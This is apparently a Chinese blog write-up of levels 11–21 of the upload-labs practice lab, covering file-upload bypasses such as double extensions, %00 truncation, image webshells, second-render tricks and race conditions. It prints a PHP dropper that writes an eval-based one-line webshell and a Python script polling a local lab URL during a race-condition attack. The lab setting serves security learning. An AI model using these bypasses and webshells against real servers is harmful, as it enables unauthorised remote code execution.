Upload-labs-文件上传(11-21)

Pass-11-双写绕过

分析源码我们可以发现这里是将违规的后缀名全部替换成了空,但是他只替换一次,我们可以采用双写绕过。
在这里插入图片描述
在这里插入图片描述

Pass-12-get%00截断

%00截断的触发条件:
需要php版本<5.3.4,并且magic_quotes_gpc关闭
文件路径可控,比如我可以修改路径拼接的path,抓到的包中存在save_path: uploads/,就可以直接把路径构造成uploads/a.php%00
并将filename修改为a.png
在这里插入图片描述

蚁剑连接:

在这里插入图片描述

Pass-13-post%00截断

这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单
POST不会对里面的数据自动解码,需要在Hex中修改。
这里我们先标注一下,+的在hex中显示的为2b
在这里插入图片描述
在hex中修改后:
在这里插入图片描述
可以上传成功了:
在这里插入图片描述
在这里插入图片描述

Pass-14-图片马

图片马的制作:
在这里插入图片描述
可以上传图片马,但我这里就直接burpsuite抓包,在文件头加上GIF89a,文件后缀改为gif,也可以上传成功。
在这里插入图片描述

直接访问并不能被解析,因此还需要利用文件包含漏洞:
在这里插入图片描述

蚁剑连接:
在这里插入图片描述

Pass-15-getimagesize()图片马

getimagesize :取得图像大小
在这里插入图片描述

这一关使用了getimagesize()来检查文件是否为图片,直接上传图片马,当然了也可以按照上一关的解法加GIF89a
在这里插入图片描述
可以进行文件包含:
在这里插入图片描述
蚁剑:
在这里插入图片描述

Pass-16-exif_imagetype()图片马

exif_imagetype :判断一个图像的类型

exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。

需要开启php_exif模块。
绕过方法同上!

Pass-17-二次渲染

这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方(本关多次尝试,可以在winhex下的文件前几行加入一句话木马),添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接.

我是用winhex打开之后在文件起始的地方加入了一句话木马,可以正常上传文件
在这里插入图片描述

文件包含:
在这里插入图片描述
然后用蚁剑连接成功!
在这里插入图片描述

Pass-18-条件竞争(一)

本关提示需要代码审计,我们看下代码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){	//先保存文件
        if(in_array($file_ext,$ext_arr)){	//判断后缀
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);	//合法改名
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);	//不合法删除
        }
    }else{
        $msg = '上传出错!';
    }
}

move_uploaded_file
(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

move_uploaded_file — 将上传的文件移动到新位置

说明 move_uploaded_file(string $filename, string $destination): bool
本函数检查并确保由 filename 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST
上传机制所上传的)。如果文件合法,则将其移动为由 destination 指定的文件。

先通过move_uploaded_file把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重是重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致被绕过防护。

1、使用burpsuite一直上传我们写好的文件a.php:

<?php fputs(fopen('stray.php','w'),'<?php @eval($_POST["stray"])?>');?>

在这里插入图片描述

在这里插入图片描述
2、另一边我们一直用脚本访问a.php文件,一旦可以访问到a.php,就会在文件夹下生成一句话木马文件:stray.php(也就是上面我自己写的那一句话)

import requests
url = "http://127.0.0.1/upload-labs-master/upload/a.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("No")

3、当返回OK时就可以停掉burp了
在这里插入图片描述

但我并没有在文件夹下发现stray.php,也就是说我们a.php并没有被执行,stray.php也没有被创建,一直找不到原因。

去搜索了很多博客,照着别人的改,修改了a.php里边的内容:
多加了echo md5(1);,步骤和上面的一样用bp一直上传文件,另一边用脚本访问我们上传的a.php文件。然后就可以成功创建木马文件了,就很纳闷。。。。。。有没有大神讲解一下!

<?php echo md5(1);fputs(fopen('stray.php','w'),'<?php @eval($_POST[stray])?>');?>

此时upload下已经有了stray.php,也就是我们写的一句话木马
在这里插入图片描述
蚁剑连接,连接密码为stray:
在这里插入图片描述

Pass-19-条件竞争(二)

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
在这里插入图片描述

然后我们要修改一下python脚本,不能再用回第18关的脚本了,这里脚本要修改为文件包含来访问
在这里插入图片描述
思路还是和上一关差不多,用bp一直上传文件,另一边运行我们的python脚本,不知道哪里出了问题,就是不能创建文件,先搁置!

Pass-20-%00截断

我们就直接上传一句话木马即可,修改后缀为png或者jpg,在upload-19.php后加上+用来当作标识,+在hex中表示为2b,然后将20修改为00
在这里插入图片描述
在这里插入图片描述
蚁剑连接成功!

在这里插入图片描述

Pass-21

随后补充!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值